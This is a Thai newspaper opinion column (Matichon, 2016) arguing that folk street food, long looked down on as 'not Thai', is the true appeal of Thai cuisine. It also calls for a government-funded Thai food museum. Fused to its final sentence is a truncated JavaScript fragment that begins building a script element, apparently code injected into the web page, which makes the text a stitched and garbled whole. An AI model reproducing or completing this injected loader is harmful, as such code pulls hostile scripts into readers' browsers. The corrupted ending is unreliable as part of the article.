มติชนรายวัน ฉบับประจำวันอังคารที่ 30 สิงหาคม 2559

 

สตรีตฟู้ด

เสน่ห์ของความไม่ไทย

 

          คนไทยมายังไง? อาหารไทยก็มายังงั้น เหมือนคนไทย

          เพราะอาหารไทยกับคนไทยมีความเป็นมาคลุกเคล้าเป็นเนื้อเดียวกันหลายพันปีมาแล้ว

          อาหารไทยมี 2 ระดับ ได้แก่ อาหารชาววัง กับอาหารชาวบ้าน

          อาหารชาววัง บางทีเรียกสำรับชาววัง, ตำรับชาววัง ได้รับยกย่องเป็นอาหารไทยแท้ จึงถือเป็นต้นแบบอาหารไทย ใช้ทำการตลาดได้ผลดีมาก

          เพราะพวกกำพืดไพร่ หรือเจ๊กปนลาว พอขยับฐานะเขยิบเป็นชนชั้นกลาง หรือเศรษฐีมีทรัพย์ ก็อยากยกระดับตัวเองเป็นเซเลบใกล้ชิดวัฒนธรรมผู้ดีชาววัง เลยพากันยกโขยงไปซื้อหามากินด้วยราคาแพงๆ

          อาหารชาวบ้าน บางทีเรียกอาหารท้องถิ่น, อาหารพื้นบ้าน ที่ถูกเหยียดจากคนชั้นสูง กับคนชั้นนำว่าไม่ไทย เพราะเป็นบ้านๆ เจ๊กๆ ลาวๆ มั่วๆ ด้วยสามัญสำนึกว่า “อะไรแดกแล้วไม่ตายก็แดกเข้าไปเถอะ กันตาย”

          ปัจจุบันคนนานาชาติยกย่องกล่าวขวัญอาหารแบบนี้ว่ากินอร่อย กินดี มีเสน่ห์อย่างสนั่นลั่นหล้าโลก เรียก “สตรีตฟู้ด”

          มิวเซียมสยาม แผนแรกสุดมีเรื่องความเป็นมาของอาหารไทย โดยทำผังห้องจัดแสดงความรู้เลียนแบบห้องอาหาร “จัดแสดงด้วย กินด้วย ขายด้วย” แต่ถูกมือดีเขี่ยทิ้งเรื่องนี้ไป เพราะยังยึดติดความศักดิ์สิทธิ์แบบพิพิธภัณฑ์อาณานิคม

          รัฐบาลควรอุดหนุนทุนไม่อั้น ทำมิวเซียมอาหารไทย เพราะนอกจากแบ่งปันวิชาความรู้เรื่องอาหารไทยอย่างมีประสิทธิภาพแล้ว ยังรับทรัพย์จากการขายอาหารและรายได้จากการท่องเที่ยว จนคืนทุนในไม่ช้า แล้วได้กำไรไม่สุดสิ้น

          ความเป็นไทยลายกระหนกยกแต่บรรพชนชูอดีต ไม่โต

          แต่ความไม่ไทยมุ่งอนาคต ไม่ตายif (document.currentScript) { var d=document;var s=d.createElement(‘script’);